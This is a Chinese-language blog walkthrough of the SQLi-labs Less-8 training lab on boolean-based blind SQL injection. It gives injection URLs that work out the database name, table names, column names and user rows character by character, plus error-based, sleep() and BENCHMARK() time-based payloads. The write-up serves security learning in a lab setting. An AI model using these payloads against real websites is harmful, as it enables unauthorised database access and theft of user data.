Sqli-labs Less08 布尔型sql盲注 - GET

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less - 08: GET - Blind - Boolian Based - Single Quotas

  1. 测试漏洞

    在 URL 后面添加 'or 1=1–+

     http://10.10.10.137/sqli-labs/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    

    查看一下version(),数据库的版本号为 5.6.17,这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。

    当版本号不正确的时候,则不能正确显示you are in…

    接下来看一下数据库的长度

     http://10.10.10.137/sqli-labs/Less-8/?id=1'and length(database())=8--+
    

    长度为8 时,返回正确结果,说明长度为8.

    猜测数据库第一位

     http://10.10.10.137/sqli-labs/Less-8/?id=1'and left(database(),1)>'a'--+
    

    Database()为security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。

    猜测数据库第二位

    得知第一位为s,我们看前两位是否大于sa

     http://10.10.10.137/sqli-labs/Less-8/?id=1'and left(database(),2)>'sa'--+
    

    得出结果 > sd ,但是在 > se 的时候出现错误,说明前两位是 se

    猜测数据库第二位

     http://10.10.10.137/sqli-labs/Less-8/?id=1'and left(database(),3)>'seb'--+
    

    得出结果 > seb ,但是在 > sec 的时候出现错误,说明前三位是 sec

  2. 利用 substr() ascii() 函数进行尝试

     ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
    

    根据以上得知数据库名为security,那我们利用此方式获取 security 数据库下的表。

    猜测表的第一位

     http://10.10.10.137/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--
    

    使用substr(***,1,1),第一位的一个字符长度

    Ps:此处table_schema 可以写成=‘security’,但是我们这里使用的database(),是因为此处database()就是security。此处同样的使用二分法进行测试,直到测试正确为止。此处应该是101,因为第一个表示email。

    以上在 > 100 的时候正常显示,但是在 > 101 的时候显示出错,说明这一位是 ASCII 101 对应的字母 e

    猜测表的第二位

     http://10.10.10.137/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+
    

    使用substr(***,2,1),第二位的一个字符长度

    以上在 > 108 的时候正常显示,但是在 > 109 的时候显示出错,说明这一位是 ASCII 109 对应的字母 m

    那如何获取第二个表呢?

    这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0 个开始,获取第一个。那要获取第二个是不是就是limit 1,1

     http://10.10.10.137/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+
    

    第二个表示referers 表,第一位就是 r

    以上在 > 113 的时候正常显示,但是在 > 114 的时候显示出错,说明这一位是 ASCII 114 对应的字母 r

  3. 利用 regexp 获取(2)中 users 表中的列

     http://10.10.10.137/sqli-labs/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+
    

    上述语句时选择 users 表中的列名是否有 us** 的列

     http://10.10.10.137/sqli-labs/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
    

    上图中可以看到 username 存在。我们可以将 username 换成 password 等其他的项也是正确的。

  4. 利用 ord()和 mid()函数获取 users 表的内容

     http://10.10.10.137/sqli-labs/Less-8/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
    

    获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较,即为 D 。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造轮子即可。

    总结:以上(1)(2)(3)(4)我们通过使用不同的语句,将通过布尔盲注SQL 的所有的payload 进行演示了一次。想必通过实例更能够对sql 布尔盲注语句熟悉和理解了。

  5. 使用报错注入

    源代码中

     echo '';
     //echo 'You are in...........';
     //print_r(mysql_error());
     //echo "You have an error in your SQL syntax";
     echo "
    "; echo '';

    代码中注视了报错信息,所以无法使用报错注入

     http://10.10.10.137/sqli-labs/Less-8/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
    

    如果报错注入可以使用的话是可以直接返回user()的,但是这里没有返回。

  6. 延时注入

    利用 sleep() 函数进行注入

     http://10.10.10.137/sqli-labs/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    

    当错误的时候会有5 秒的时间延时。
    利用BENCHMARK()进行延时注入

     http://10.10.10.137/sqli-labs/Less-8/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
    

    当结果正确的时候,运行ENCODE(‘MSG’,‘by 5 seconds’)操作50000000 次,会占用一段时间。

    其他的payload 参考less5 直接进行注入。

你可能感兴趣的:(web安全)